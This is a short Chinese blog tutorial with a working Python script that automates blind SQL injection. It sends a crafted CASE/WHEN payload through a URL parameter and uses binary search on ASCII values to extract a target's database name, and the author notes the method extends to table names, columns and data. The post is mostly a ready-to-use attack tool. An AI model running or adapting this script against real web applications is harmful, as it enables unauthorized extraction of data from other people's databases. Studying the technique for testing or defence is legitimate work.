Python编写盲注自动化脚本

注入中盲注它要花费很多时间进行排除,所以作为小白的我也想尝试如何去编写简单的 python脚本,来提高挖盲注的效率。
说到盲注的排除,我们第一时间就会想到二分法,因为不可能逐个逐个的用 “=” 去排除,这样浪费的时间会更多,所以脚本的编写我也是用二分法的,下面我会用自己盲注数据库名字的例子来说明一下:

#!/usr/bin/env python
# coding:utf-8

import requests
import sys

url = "http://xxx.xxx.xxx.xxx/xxx/xxx.php?table=%s"
data = ' '
pay = ' '  

def database(url):
   
    payload = "(select(id)from`user`where(id=(case(1)when(ascii(substr(database(),%s,1))>%s)then(select(1))else(select(2)union(select(1)))end)))"

    print("Start enumerating databases:")
    for i in range(1, 8):           
        max = 122  # z
        min = 47  # /
        while abs(max - min) > 1:
            mid = int((max + min) / 2)
            pay = payload % (str(i), str(mid))
            response = requests.get(url % pay)                                              
            if response.content.find("此处填写返回正确的回显文本") != -1:
                min = mid            
            else:
                max = mid
        data = data + chr(max)
        print("The databases is :%s" % data)  
            
 
def main():  
	database(url)
        
              
if __name__ == '__main__':
    main()

注:
1、该payload只是我自己构造的,视实际情况而定,要注意的是payload里面用的两个%s传参,第一个参数是指数据库名字的位数,第二个是指我们用来排除的ascii码值。
2、先用for循环做一个大的循环,for是循环数据库名的位数的,里面的while循环是用来进行二分法的排除的。
3、这里的盲注是正确的话页面回显文本不一样,然后我们搜索正确的响应文本的以此作为二分法的判断依据的。

列举数据库名字的代码就是这些,其实知道方法之后,自己构造payload,列举其它如:表名,列名,数据这些也是很简单的,照猫画虎的写出来就行了。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值